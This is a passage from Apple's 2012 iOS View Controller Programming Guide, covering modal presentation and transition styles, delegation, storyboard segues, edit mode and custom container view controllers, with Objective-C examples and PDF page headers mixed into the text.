modalPresentationStyle property to determine their appearance when presented. Different options for
this property allow you to present the view controller so that it fills all or only part of the screen.
Presenting View Controllers from Other View Controllers
Presentation Styles for Modal Views
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
91Figure 10-4 shows the core presentation styles that are available. (The
UIModalPresentationCurrentContext style lets a view controller adopt the presentation style of its
parent.) In each presentation style, the dimmed areas show the underlying content but do not allow taps in
that content. Therefore, unlike a popover, your presented views must still have controls that allow the user to
dismiss the view.
Figure 10-4 iPad presentation styles
For guidance on when to use the different presentation styles, see “Popover (iPad Only)” in iOS Human Interface
Guidelines.
Presenting View Controllers from Other View Controllers
Presentation Styles for Modal Views
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
92Presenting a View Controller and Choosing a Transition Style
When a view controller is presented using a storyboard segue, it is automatically instantiated and presented.
The presenting view controller can configure the destination view controller before it is presented. For more
information, see “Configuring the Destination Controller When a Segue is Triggered” (page 101).
If you need to present a view controller programmatically, you must do the following:
1. Create the view controller you want to present.
2. Set the modalTransitionStyle property of the view controller to the desired value.
3. Assign a delegate object to the view controller. Typically, the delegate is the presenting view controller.
The delegate is used by the presented view controllers to notify the presenting view controller when it is
ready to be dismissed. It may also communicate other information back to the delegate.
4. Call the presentViewController:animated:completion: method of the current view controller,
passing in the view controller you want to present.
The presentViewController:animated:completion: method presents the view for the specified view
controller object and configures the presenting-presented relationships between the new view controller and
the current view controller. Unless you are restoring your app to some previous state, you usually want to
animate the appearance of the new view controller. The transition style you should use depends on how you
plan to use the presented view controller. Table 10-1 lists the transition styles you can assign to the
modalTransitionStyle property of the presented view controller and describes how you might use each
one.
Table 10-1 Transition styles for modal view controllers
Transition style Usage
Use this style when you want to interrupt the current workflow to gather
information from the user. You can also use it to present content that the
user might or might not modify.
For thisstyle of transition, content view controllersshould provide buttons
to dismissthe view controller explicitly. Typically, these are a Done button
and an optional Cancel button.
If you do not explicitly set a transition style, this style is used by default.
UIModalTransitionStyleCoverVertical
Use thisstyle to change the work mode of your app temporarily. The most
common usage for this style is to display settings that might change
frequently, such as in the Stocks and Weather apps. These settings can
be meant for the entire app or they can be specific to the current screen.
For this style of transition, you usually provide some sort of button to
return the user to the normal running mode of your app.
UIModalTransitionStyleFlipHorizontal
Presenting View Controllers from Other View Controllers
Presenting a View Controller and Choosing a Transition Style
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
93Transition style Usage
Use this style to present an alternate interface when the device changes
orientations. In such a case, your app is responsible for presenting and
dismissing the alternate interface in response to orientation change
notifications.
Media-based apps can also use this style to fade in screens displaying
media content.
For an example of how to implement an alternate interface in response
to device orientation changes, see “Creating an Alternate Landscape
Interface” (page 80).
UIModalTransitionStyleCrossDissolve
Listing 10-1 shows how to present a view controller programmatically. When the user adds a new recipe, the
app promptsthe user for basic information about the recipe by presenting a navigation controller. A navigation
controller was chosen so that there would be a standard place to put a Cancel and Done button. Using a
navigation controller also makes it easier to expand the new recipe interface in the future. All you would have
to do is push new view controllers on the navigation stack.
Listing 10-1 Presenting a view controller programmatically
- (void)add:(id)sender {
// Create the root view controller for the navigation controller
// The new view controller configures a Cancel and Done button for the
// navigation bar.
RecipeAddViewController *addController = [[RecipeAddViewController alloc]
init];
// Configure the RecipeAddViewController. In this case, it reports any
// changes to a custom delegate object.
addController.delegate = self;
// Create the navigation controller and present it.
UINavigationController *navigationController = [[UINavigationController alloc]
initWithRootViewController:addController];
[self presentViewController:navigationController animated:YES completion: nil];
}
Presenting View Controllers from Other View Controllers
Presenting a View Controller and Choosing a Transition Style
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
94When the user taps either the Done or the Cancel button from the new recipe entry interface, the app dismisses
the view controller and returns the user to the main view. See “Dismissing a Presented View Controller” (page
95).
Presentation Contexts Provide the Area Covered by the Presented
View Controller
The area of the screen used to define the presentation area is determined by the presentation context. By
default, the presentation context is provided by the root view controller, whose frame is used to define the
frame of the presentation context. However, the presenting view controller, or any other ancestor in the view
controller hierarchy, can choose to provide the presentation context instead. In that case, when another view
controller provides the presentation context, its frame is used instead to determine the frame of the presented
view. This flexibility allows you to limit the modal presentation to a smaller portion of the screen, leaving other
content visible.
When a view controller is presented, iOS searches for a presentation context. It starts at the presenting view
controller by reading its definesPresentationContext property. If the value of this property is YES, then
the presenting view controller defines the presentation context. Otherwise, it continues up through the view
controller hierarchy until a view controller returns YES or until it reaches the window’s root view controller.
When a view controller defines a presentation context, it can also choose to define the presentation style.
Normally, the presented view controller determines how it presented using its modalTransitionStyle
property. A view controller that sets definesPresentationContext to YES can also set
providesPresentationContextTransitionStyle to YES. If
providesPresentationContextTransitionStyle is set to YES, iOS uses the presentation context’s
modalPresentationStyle to determine how the new view controller is presented.
Dismissing a Presented View Controller
When it comes time to dismiss a presented view controller, the preferred approach is to let the presenting
view controller dismiss it. In other words, whenever possible, the same view controller that presented the view
controller should also take responsibility for dismissing it. Although there are several techniques for notifying
the presenting view controller that its presented view controller should be dismissed, the preferred technique
is delegation. For more information, see “Using Delegation to Communicate with Other Controllers” (page 103).
Presenting View Controllers from Other View Controllers
Presentation Contexts Provide the Area Covered by the Presented View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
95Presenting Standard System View Controllers
A number of standard system view controllers are designed to be presented by your app. The basic rules for
presenting these view controllers are the same asthe rulesfor presenting your custom content view controllers.
However, because your app does not have accessto the view hierarchy managed by the system view controllers,
you cannotsimply implement actionsfor the controlsin the views. Interactions with the system view controllers
typically take place through a delegate object.
Each system view controller defines a corresponding protocol, whose methods you implement in your delegate
object. Each delegate usually implements a method to either accept whatever item was selected or cancel the
operation. Your delegate object should always be ready to handle both cases. One of the most important
things the delegate must do is dismiss the presented view controller by calling the
dismissModalViewControllerAnimated: method of the view controller that did the presenting (in other
words, the parent of the presented view controller.)
Table 10-2 lists several of the standard system view controllers found in iOS. For more information about each
of these classes, including the features it provides, see the corresponding class reference documentation.
Table 10-2 Standard system view controllers
Framework View controllers
ABNewPersonViewController
ABPeoplePickerNavigationController
ABPersonViewController
ABUnknownPersonViewController
Address Book UI
EKEventEditViewController
EKEventViewController
Event Kit UI
GKAchievementViewController
GKLeaderboardViewController
GKMatchmakerViewController
GKPeerPickerController
GKTurnBasedMatchmakerViewController
Game Kit
MFMailComposeViewController
MFMessageComposeViewController
Message UI
MPMediaPickerController
MPMoviePlayerViewController
Media Player
Presenting View Controllers from Other View Controllers
Presenting Standard System View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
96Framework View controllers
UIImagePickerController
UIVideoEditorController
UIKit
Note: Although the MPMoviePlayerController class in the Media Player framework might
technically be thought of as a modal controller, the semantics for using it are slightly different.
Instead of presenting the view controller yourself, you initialize it and tell it to play its media file.
The view controller then handles all aspects of presenting and dismissing its view. (However, the
MPMoviePlayerViewController class can be used instead of MPMoviePlayerController as
a standard view controller for playing movies.)
Presenting View Controllers from Other View Controllers
Presenting Standard System View Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
97Few iOS apps show only a single screenful of content. Instead, they show some content when first launched
and then show and hide other content in response to user actions. These transitions provide a single unified
user interface that display a lot of content, just not all at once.
By convention,smaller pieces of content are managed by different view controller classes. This coding convention
allows you to create smaller and simpler controller classes that are easy to implement. However, dividing the
work between multiple classesimposes additional requirements on your class designs. To maintain the illusion
of a single interface, your view controllers must exchange messages and data to coordinate transitions from
controller to another. Thus, even as your view controller classes look inwards to control views and perform the
tasks assigned to them, they also look outwards to communicate with other collaborating view controllers.
When Coordination Between View Controllers Occurs
Communication between view controllers is tied to the role those view controllers play in your app. It would
be impossible to describe all of the possible interactions between view controllers, because the number and
nature of these relationships is dependent on the design of your app. However, it is possible to describe when
these interactions occur and to give some examples of the kinds of coordination that might take place in your
app.
The lifetime of a view controller has three stages during which it might coordinate with other objects:
View controller instantiation. In this stage, when a view controller is created, an existing view controller or
another object was responsible for its creation. Usually, this object knows why the view controller was created
and what task itshould perform. Thus, after a view controller isinstantiated, thisintent must be communicated
to it.
The exact details of this initial configuration vary. Sometimes, the existing view controller passes data objects
to the new controller. At other times, it may configure the presentation style for that, or establish lasting links
between the two view controllers. These links allow further communication later in the view controller’slifetime.
During the view controller’s lifetime. In this stage, some view controllers communicate with other view
controllers during their lifetime. The recipient of these messages could be the view controller that created it,
peers with similar lifetimes, or even a new view controller that it itself created. Here are a few common designs:
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
98
Coordinating Efforts Between View Controllers● The view controllersends notificationsthat the user performed a specific action. Because thisis a notification,
the object receiving this message is just being notified that something happened.
● The view controllersends data to another view controller. For example, a tab bar controller doesn’t establish
a built-in relationship between its children, but your app might establish such a relationship when the
tabs are displaying the same data object, just in different ways. When a user leaves one tab, the view
controller associated with that tab sends the selection information to the view controller about to be
displayed. In return, the new view controller uses this data to configure its views so that the transition
appears seamless. In this particular case, no new view controller is instantiated by the action. Instead, the
two view controllers are peers with the same lifetime and can continue to coordinate as the user switches
between them.
● A view controller sends messages to give another view controller authority over its actions. For example,
if a view controller allows usersto enter data, it mightsend messagesto allow another controller to decide
whether the data the user entered is valid. If the data is invalid, the view controller can disallow the user
from accepting the invalid data or adjust its interface to display an error.
View controller destruction. In this stage, many view controllers send messages when their task completes.
These messages are common because the convention is for the controller that created a view controller to
also release it. Sometimes, these messages simply convey that the user finished the task. At other times, such
as when the task being performed generated new data objects, the message communicatesthe new data back
to another controller.
During a view controller’s lifetime, it is common for it to exchange information with other view controllers.
These messages are used to notify other controllers when things happen, send them data, or even ask them
to exert control over the controller’s activities.
With Storyboards, a View Controller is Configured When It Is
Instantiated
Storyboards provide direct support for configuring newly instantiated controllers before they are displayed.
When a storyboard instantiates new view controllers automatically, it calls an object in your app to allow it to
configure the new controller or to create links to or from the new controller. When your app first launches, the
app delegate configures the initial view controller. When a segue is triggered, the source view controller
configures the destination view controller.
There are a few conventions used to implement destination view controllers:
● A destination view controller exposes properties and methods used to configure it.
Coordinating Efforts Between View Controllers
With Storyboards, a View Controller is Configured When It Is Instantiated
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
99● A destination view controller communicates as little as possible with view controllers that it did not create
personally. When it does so, these communication paths should use delegation. The destination view
controller’s delegate is configured as one of its properties.
Carefully following these conventions helps organize your configuration code and carefully limitsthe direction
of dependencies between view controller classes in your app. By isolating dependencies in your app, you
increase the opportunity for code reuse. You also design view controllers that are easier to test in isolation
from the rest of your app.
Configuring the Initial View Controller at Launch
If you define a main storyboard in your project, iOS automatically does a lot of work for you to set up your app.
When your app calls the UIApplicationMain function, iOS performs the following actions:
1. It instantiates the app delegate based on the class name you passed into the UIApplicationMain
function.
2. It creates a new window attached to the main screen.
3. If your app delegate implements a window property, iOS sets this property to the new window.
4. It loads the main storyboard referenced in the app’s information property list file.
5. It instantiates the main storyboard’s initial view controller.
6. It sets the window’s rootViewController property to the new view controller.
7. It calls the app delegate’s application:didFinishLaunchingWithOptions: method. Your app
delegate is expected to configure the initial view controller (and its children, if it is a container view
controller).
8. It calls the window’s makeKeyAndVisible method to display the window.
Listing 11-1 shows an implementation of the application:didFinishLaunchingWithOptions: method
from the Your Second iOS App: Storyboards tutorial. In this example, the storyboard’s initial view controller is
a navigation controller with a custom content controller that displays the master view. The code first retrieves
references to the view controller it is interested in. Then, it performs any configuration that could not be
performed in Interface Builder. In this example, a custom data controller object is provided to the master view
controller by a custom data controller object.
Listing 11-1 The app delegate configures the controller
- (BOOL)application:(UIApplication *)application
didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
Coordinating Efforts Between View Controllers
With Storyboards, a View Controller is Configured When It Is Instantiated
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
100UINavigationController *navigationController = (UINavigationController*)
self.window.rootViewController;
BirdsMasterViewController * firstViewController = [[navigationController
viewControllers] objectAtIndex:0];
BirdSightingDataController *dataController = [[BirdSightingDataController
alloc] init];
firstViewController.dataController = dataController;
return YES;
}
If your project does not identify the main storyboard, the UIApplicationMain function creates the app
delegate and calls it but does not perform any of the other steps described earlier. You would need to write
code to perform those steps yourself. Listing 11-2 shows the code you might implement if you needed to
perform these steps programmatically.
Listing 11-2 Creating the window when a main storyboard is not being used
- (BOOL)application:(UIApplication *)application
didFinishLaunchingWithOptions:(NSDictionary *)launchOptions
{
self.window = [[UIWindow alloc] initWithFrame:[[UIScreen mainScreen] bounds]];
UIStoryboard *storyboard = [UIStoryboard storyboardWithName:@"MyStoryboard"
bundle:nil];
MainViewController *mainViewController = [storyboard
instantiateInitialViewController];
self.window.rootViewController = mainViewController;
// Code to configure the view controller goes here.
[self.window makeKeyAndVisible];
return YES;
}
Configuring the Destination Controller When a Segue is Triggered
iOS performs the following tasks when a segue is triggered:
Coordinating Efforts Between View Controllers
With Storyboards, a View Controller is Configured When It Is Instantiated
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
1011. It instantiates the destination view controller.
2. It instantiates a new segue object that holds all the information for the segue being triggered.
Note: A popover segue also provides a property that identifies the popover controller used to
control the destination view controller.
3. It callsthe source view controller’s prepareForSegue:sender: method, passing in the new segue object
and the object that triggered the segue.
4. It callsthe segue’s perform method to bring the destination controller onto the screen. The actual behavior
depends on the kind ofsegue being performed. For example, a modalsegue tellsthe source view controller
to present the destination view controller.
5. It releases the segue object and the segue is complete.
The source view controller’s prepareForSegue:sender: method performs any necessary configuration of
the destination view controller’s properties, including a delegate if the destination view controller implements
one.
Listing 11-3 shows an implementation of the prepareForSegue:sender: method from the Your Second
iOS App: Storyboards tutorial.
Listing 11-3 Configuring the destination controller in a segue
- (void) prepareForSegue:(UIStoryboardSegue *)segue sender:(id)sender
{
if ([[segue identifier] isEqualToString:@"ShowSightingsDetails"])
{
DetailViewController *detailViewController = [segue
destinationViewController];
detailViewController.sighting = [self.dataController
objectInListAtIndex:[self.tableView indexPathForSelectedRow].row];
}
if ([[segue identifier] isEqualToString:@"ShowAddSightingView"])
{
AddSightingViewController *addSightingViewController = [[[segue
destinationViewController] viewControllers] objectAtIndex:0];
addSightingViewController.delegate = self;
Coordinating Efforts Between View Controllers
With Storyboards, a View Controller is Configured When It Is Instantiated
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
102}
}
This implementation, from the master view controller for the app, actually handles two different segues
configured in the storyboard. It distinguishes between the two segues using the segue’s identifier property.
In both cases, it follows the coding convention established earlier, by first retrieving the view controller and
then configuring it.
When the segue is to the detail view controller, the segue occurred because the user selected a row in the
table view. In this case, the code transfers enough data to the destination view controllerso that the destination
view controller can display the sighting. The code uses the user’s selection to retrieve a sighting object from
the master view controller’s data controller. It then assigns this sighting to the destination controller.
In the other case, the new view controller allows the user to add a new bird sighting. No data needs to be sent
to this view controller. However, the master view controller needs to receive data when the user finishes
entering the data. To receive that information, the source view controller implements the delegate protocol
defined by the Add view controller (notshown here) and makesitself the destination view controller’s delegate.
Using Delegation to Communicate with Other Controllers
In a delegate-based model, the view controller defines a protocol for its delegate to implement. The protocol
defines methods that are called by the view controller in response to specific actions, such as taps in a Done
button. The delegate is then responsible for implementing these methods. For example, when a presented
view controller finishesitstask, itsends a message to the presenting view controller and that controller dismisses
it.
Using delegation to manage interactions with other app objects has key advantages over other techniques:
● The delegate object has the opportunity to validate or incorporate changes from the view controller.
● The use of a delegate promotes better encapsulation because the view controller does not have to know
anything about the class of the delegate. This enables you to reuse that view controller in other parts of
your app.
To illustrate the implementation of a delegate protocol, consider the recipe view controller example that was
used in “Presenting a View Controller and Choosing a Transition Style” (page 93). In that example, a recipes
app presented a view controller in response to the user wanting to add a new recipe. Prior to presenting the
view controller, the current view controller made itself the delegate of the RecipeAddViewController
object. Listing 11-4 shows the definition of the delegate protocol for RecipeAddViewController objects.
Coordinating Efforts Between View Controllers
Using Delegation to Communicate with Other Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
103Listing 11-4 Delegate protocol for dismissing a presented view controller
@protocol RecipeAddDelegate
// recipe == nil on cancel
- (void)recipeAddViewController:(RecipeAddViewController *)recipeAddViewController
didAddRecipe:(MyRecipe *)recipe;
@end
When the user taps the Cancel or Done button in the new recipe interface, the RecipeAddViewController
object calls the preceding method on its delegate object. The delegate is then responsible for deciding what
course of action to take.
Listing 11-5 shows the implementation of the delegate method that handles the addition of new recipes. This
method is implemented by the view controller that presented the RecipeAddViewController object. If the
user accepted the new recipe—that is, the recipe object is not nil—this method addsthe recipe to itsinternal
data structures and tells its table view to refresh itself. (The table view subsequently reloads the recipe data
from the same recipesController object shown here.) Then the delegate method dismisses the presented
view controller.
Listing 11-5 Dismissing a presented view controller using a delegate
- (void)recipeAddViewController:(RecipeAddViewController *)recipeAddViewController
didAddRecipe:(Recipe *)recipe {
if (recipe) {
// Add the recipe to the recipes controller.
int recipeCount = [recipesController countOfRecipes];
UITableView *tableView = [self tableView];
[recipesController insertObject:recipe inRecipesAtIndex:recipeCount];
[tableView reloadData];
}
[self dismissViewControllerAnimated:YES completion: nil];
}
Coordinating Efforts Between View Controllers
Using Delegation to Communicate with Other Controllers
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
104Guidelines for Managing View Controller Data
Carefully managing how data and control flows between your view controllersis critical to understanding how
your app operates and avoiding subtle errors. Consider the following guidelines when designing your view
controllers:
● A destination view controller’s references to app data should come from the source view controller unless
the destination view controller represents a self-contained (and therefore self-configuring) view controller.
● Perform as much configuration as possible using Interface Builder, rather than configuring your controller
programmatically in your code.
● Always use a delegate to communicate information back to other controllers. Your content view controller
should never need to know the class of the source view controller or any controllers it doesn’t create.
● Avoid unnecessary connections to objects external to your view controller. Each connection represents a
dependency that makes it harder to change your app design.
For example, the children of a navigation controller should be aware of the parent navigation controller
and of the siblings immediately above and below them on the stack. They rarely need to communicate
with other siblings.
Coordinating Efforts Between View Controllers
Guidelines for Managing View Controller Data
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
105You can use the same view controller both to display and to edit content. When the editing mode is toggled,
your custom view controller performs the necessary work to transition its view from a display mode to an
editing mode (or vice versa).
Toggling Between Display and Edit Mode
To allow a custom view controller class to be used to both display and edit content, override the
setEditing:animated: method. When called, your implementation of this method should add, hide, and
adjust the view controller’s views to match the specified mode. For example, you might want to change the
content or appearance of views to convey that the view is now editable. If your view controller manages a
table, you can also call the table’s own setEditing:animated: method in order to put the table into the
appropriate mode.
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
106
Enabling Edit Mode in a View ControllerNote: You typically do not swap out your entire view hierarchy when toggling back and forth
between display and edit modes. The point of using the setEditing:animated: method is so
that you can make small changes to existing views. If you would prefer to display a new set of views
for editing, you should either present a new view controller or use a navigation controller to present
the new views.
Figure 12-1 shows a view from the Contacts app that supports in-place editing. Tapping the Edit button in the
upper-right corner tells the view controller to update itself for editing; the Done button returns the user to
display mode. In addition to modifying the table, the view also changes the content of the image view and
the view displaying the user’s name. It also configures the assorted views and cells so that tapping them edits
their contents instead of performing other actions.
Figure 12-1 Display and edit modes of a view
The implementation of your own setEditing:animated: method is relatively straightforward—you check
to see which mode your view controller is entering and adjust the contents of your view accordingly.
- (void)setEditing:(BOOL)flag animated:(BOOL)animated
{
Enabling Edit Mode in a View Controller
Toggling Between Display and Edit Mode
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
107[super setEditing:flag animated:animated];
if (flag == YES){
// Change views to edit mode.
}
else {
// Save the changes if needed and change the views to noneditable.
}
}
Presenting Editing Options to the User
A common place in which to use an editable view is in a navigation interface. When implementing your
navigation interface, you can include a special Edit button in the navigation bar when your editable view
controller is visible. (You can get this button by calling the editButtonItem method of your view controller.)
When tapped, this button automatically toggles between an Edit and Done button and calls your view controller’s
setEditing:animated: method with appropriate values. You can also call this method from your own code
(or modify the value of your view controller’s editing property) to toggle between modes.
For more information about adding an Edit button to a navigation bar, see View Controller Catalog for iOS .
Enabling Edit Mode in a View Controller
Presenting Editing Options to the User
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
108Interface Builder provides segues for all of the standard ways to transition from one view controller to
another—from presenting a view controller to displaying a controller in a popover. However, if one of those
segues doesn’t do what you want, you can create a custom segue.
The Life Cycle of a Segue
To understand how custom segues work, you need to understand the life cycle of a segue object. Segue objects
are instances of UIStoryboardSegue or one of its subclasses. Your app never creates segue objects directly;
they are always created on your behalf by iOS when a segue is triggered. Here’s what happens:
1. The destination controller is created and initialized.
2. The segue object is created and its initWithIdentifier:source:destination: method is called.
The identifier is the unique string you provided for the segue in Interface Builder, and the two other
parameters represent the two controller objects in the transition.
3. The source view controller’s prepareForSegue:sender: method is called. See “Configuring the
Destination Controller When a Segue is Triggered” (page 101).
4. The segue object’s perform method is called. This method performs a transition to bring the destination
view controller on-screen.
5. The reference to the segue object is released, causing it to be deallocated.
Implementing a Custom Segue
To implement a custom segue, you subclass UIStoryboardSegue and implement the two methods described
earlier:
●
If you override the initWithIdentifier:source:destination: method, call the superclass’s
implementation, then initialize your subclass.
● Your perform method must make whatever view controller calls are necessary to perform the transition
you want. Typically, you use any of the standard ways to display a new view controller, but you can
embellish this design with animations and other effects.
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
109
Creating Custom SeguesNote: If your implementation adds properties to configure the segue, you cannot configure these
attributes in Interface Builder. Instead, configure the custom segue’s additional properties in the
prepareForSegue:sender: method of the source view controller that triggered the segue.
“Creating Custom Segues” shows a very simple custom segue. This example simply presents the destination
view controller without any sort of animation, but you can extend this idea with your own animations as
necessary.
Listing 13-1 A custom segue
- (void)perform
{
// Add your own animation code here.
[[self sourceViewController] presentModalViewController:[self
destinationViewController] animated:NO];
}
Creating Custom Segues
Implementing a Custom Segue
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
110Container view controllers are a critical part of iOS app design. They allow you to decompose your app into
smaller and simpler parts, each controlled by a view controller dedicated to that task. Containers allow these
view controllers to work together to present a seamless interface.
iOS provides many standard containers to help you organize your apps. However, sometimes you need to
create a custom workflow that doesn’t match that provided by any of the system containers. Perhaps in your
vision, your app needs a specific organization of child view controllers with specialized navigation gestures or
animation transitions between them. To do that, you implement a custom container.
Designing Your Container View Controller
In most ways, a container view controller is just like a content view controller. It manages views and content,
coordinates with other objects in your app, and responds to events in the responder chain. Before designing
a container controller, you should already be familiar with designing content view controllers. The design
questions in “Creating Custom Content View Controllers” (page 43) also apply when creating containers.
When you design a container, you create explicit parent-child relationships between your container, the parent,
and other view controllers, its children. More specifically, Figure 14-1 shows that there are explicit connections
between the views as well. Your container adds the content views of other view controllers in its own view
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
111
Creating Custom Container View Controllershierarchy. Whenever a child’s view is displayed in the container’s view hierarchy, your container also establishes
a connection to the child view controller and ensures that all appropriate view controller events are sent to
the child.
Figure 14-1 A container view controller’s view hierarchy contains another controller’s views
Your containershould make the rules and its children should follow them; it is up to the parent to decide when
a child’s content is visible in its own view hierarchy. The container decides where in the hierarchy that view is
placed and how it is sized and positioned there. This design principle is no different from that of a content
view controller. The view controller isresponsible for managing its own view hierarchy and other classesshould
never manipulate its contents. Where necessary, your container class can expose public methods and properties
to allow its behavior to be controlled. For example, if another object needs to be able to tell your container to
display a new view, then your container class should expose a public method to allow this transition to occur.
The actual implementation that changes the view hierarchy should be in the container class. This guiding
principle cleanly separates responsibilities between the container and its children by always making each view
controller responsible for its own view hierarchy.
Here are some specific questions you should be able to answer about your container class:
● What is the role of the container and what role do its children play?
●
Is there a relationship between siblings?
● How are child view controllers added to or removed from the container? Your container class must provide
public properties and methods to allow children to be displayed by it.
● How many children are displayed by the container?
Creating Custom Container View Controllers
Designing Your Container View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
112● Are the contents of the container static or dynamic? In a static design, the children are more or less fixed,
whereasin a dynamic design, transitions between siblings may occur. You define what triggers a transition
to a new sibling. It might be programmatic or it might happen when a user interacts with the container.
● Does the container own any of its own views? For example, your container’s user interface may include
information about the child view controller or controls to allow navigation.
● Does the container require its children to provide methods or properties other than those found on the
UIViewController class? There are many reasons why a container might do this. It might need specific
information from the child to used to configure other aspects of container display, or it might allow the
child to modify the container’s behavior. It even might call the child view controller when container-specific
events occur.
● Does your container allow its behavior to be configured?
● Are all its children treated identically or does it have multiple types of children, each with specialized
behaviors? For example, you might create a container that displays two children, coordinating actions
between the two children. Each child implements a distinct set of methods to allow its behavior to be
configured.
In summary, a container controller often has more relationships with other objects (especially other view
controllers) than a content controller. So, you need to put additional effort into understanding how the container
works. Ideally, as with a content controller, you want to hide many of those behaviors behind an excellent
public class API.
Examples of Common Container Designs
The easiest way to understand how to design a new container class is to examine the behavior and public API
of the existing system container classes. Each definesits own navigation metaphor and a programming interface
used to configure it. This section takes a look at a few of these classes from the viewpoint of container design.
It does not provide a complete description of each class’s programming interface, but just looks at some of
the critical concepts. For detailed information about using these system containers,see ViewController Catalog
for iOS .
A Navigation Controller Manages a Stack of Child View Controllers
A navigation controller allows a sequence of distinct user interface screens to be displayed to the user. The
metaphor used by a navigation controller is a stack of child view controllers. The topmost view controller’s
view is placed in the navigation controller’s view hierarchy. To display a new view controller, you push it onto
the stack. When you are done, you remove the view controller from the stack.
Creating Custom Container View Controllers
Examples of Common Container Designs
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
113Figure 14-2 shows that only a single child’s view is visible and that the child’s view is part of a more complex
hierarchy of views provided by the navigation controller.
Figure 14-2 A navigation controller’s view and view controller hierarchy
When a view controller is pushed onto or popped from the stack, the transition can be animated, which means
the views of two children are briefly displayed together. In addition to the child views, a navigation controller
also includes its own content views to display a navigation bar. The contents of the navigation bar are updated
based on the child being displayed.
Here are some of the important methods and properties that the UINavigationController class uses to
define its behavior:
● The topViewController property states which controller is at the top of the stack.
● The viewControllers property lists all the children in the stack.
● The pushViewController:animated: method pushes a new view controller on the stack. This method
does all the work necessary to update the view hierarchy to display the new child’s view.
● The popViewControllerAnimated: method removes the top view controller from the stack.
● The delegate property allows a client of the container to be notified when state transitions occur.
The navigation controller uses properties on the child view controller to adjust the content it displays. These
properties are defined by UIViewController base classso thatsome default behavior is available; this allows
any view controller to be made a child of a navigation controller. Here are some of the propertiesthe navigation
controller looks for:
Creating Custom Container View Controllers
Examples of Common Container Designs
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
114● The navigationItem property provides the contents of the navigation toolbar.
● The toolbarItems property provides the contents of the bottom bar.
● The editButtonItem property provides access to a view in the navigation item so that the navigation
controller can toggle the child view’s edit mode.
A Tab Bar Controller Uses a Collection of Child Controllers
A tab view controller allows a set of distinct user interface screensto be displayed to the user. However, instead
of a stack of view controllers, a tab view controller uses a simple array. Figure 14-3 shows that again, only one
child view controller’s view is displayed at a time. However, these views do not need to be accessed sequentially,
and the transition to the new child is usually not animated.
Figure 14-3 A tab bar controller’s view and view controller hierarchy
Here are some of the important methods and properties that UITabBarController class uses to allow apps
to control what a tab bar controller displays:
● The viewControllers property holds the list of child view controllers that act as the tabs of content.
● The selectedViewController property allows you to read or change which child is visible.
● The delegate property allows a client of the container to be notified when state transitions occur.
A tab bar controller uses the child’s tabBarItem property to determine how it is displayed in the appropriate
tab.
Creating Custom Container View Controllers
Examples of Common Container Designs
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
115A Page Controller Uses a Data Source to Provide New Children
A page controller uses pages of content as its metaphor, like the pages of a book. Each page displayed by the
container is provided by a child view controller.
Books can have many pages—far more than the number of screens of content in a navigation controller—so
keeping all the pages in memory at once may not be possible. Instead, the page view controller keeps child
controllers for the visible pages and fetches other pages on demand. When the user wants to see a new page,
the container calls the object associated with its dataSource property to get the new controller. Thus, a page
view controller using a data source uses a pull model rather than having your app directly push new pages
onto itself.
A page view controller can also be customized for different kinds of book layouts. The number of pages and
the size of the pages can differ. Here are two key properties that affect the page view controller’s behavior:
● The spineLocation property determines how the pages are organized. Some layouts only display one
page at a time. Other layouts display multiple pages.
● The transitionStyle property determines how transitions between pages are animated.
Implementing a Custom Container View Controller
Once you’ve designed your class’s behavior and determined many aspects of its public API, you are ready to
start implementing the container. The goal of implementing a container is to be able to add another view
controller’s view (and associated view hierarchy) as a subtree in your container’s view hierarchy. The child
remainsresponsible for its own view hierarchy,save for where the container decidesto place it onscreen. When
you add the child’s view, you need to ensure that events continue to be distributed to both view controllers.
You do this by explicitly associating the new view controller as a child of the container.
The UIViewController class provides methods that a container view controller uses to manage the
relationship between itself and its children. The complete list of methods and properties is in the reference;
see “Managing Child View Controllers in a Custom Container” in UIViewController Class Reference
Important: These UIViewController methods are only intended to be used to implement container
view controllers; do not call them in a content view controller.
Adding and Removing a Child
Listing 14-1 shows a typical implementation that adds a view controller as a child of another view controller.
Each numbered step in the listing is described in more detail following the listing.
Creating Custom Container View Controllers
Implementing a Custom Container View Controller
2012-09-19 | © 2012 Apple Inc. All Rights Reserved.
116Listing 14-1 Adding another view controller’s view to the container’s view hierarchy
- (void) displayContentController: (UIViewController*) content;
{
[self addChildViewController:content]; // 1
content.view.frame = [self frameForContentController]; // 2
[self.view addSubview:self.currentClientView];
[content didMoveToParentViewController:self]; // 3
}
Here’s what the code does:
1. It calls the container’s addChildViewController: method to add the child. Calling the
addChildViewController: method also calls the child’s willMoveToParentViewController:
method automatically.
2. It accessesthe child’s view property to retrieve the view and addsit to its own view hierarchy. The container
sets the child’s size and position before adding the view; containers always choose where the child’s
content appears. Although this example doesthis by explicitly setting the frame, you could also use layout
constraints to determine the view’s position.
3. It explicitly calls the child’s didMoveToParentViewController: method to signal that the operation
is complete.
Eventually, you want to be able to remove the child’s view from the view hierarchy. In this case, shown in
Listing 14-2, you perform the steps in reverse.
Listing 14-2 Removing another view controller’s view to the container’s view hierarchy
- (void) hideContentController: (UIViewController*) content
{
[content willMoveToParentViewController:nil]; // 1
[content.view removeFromSuperview]; // 2
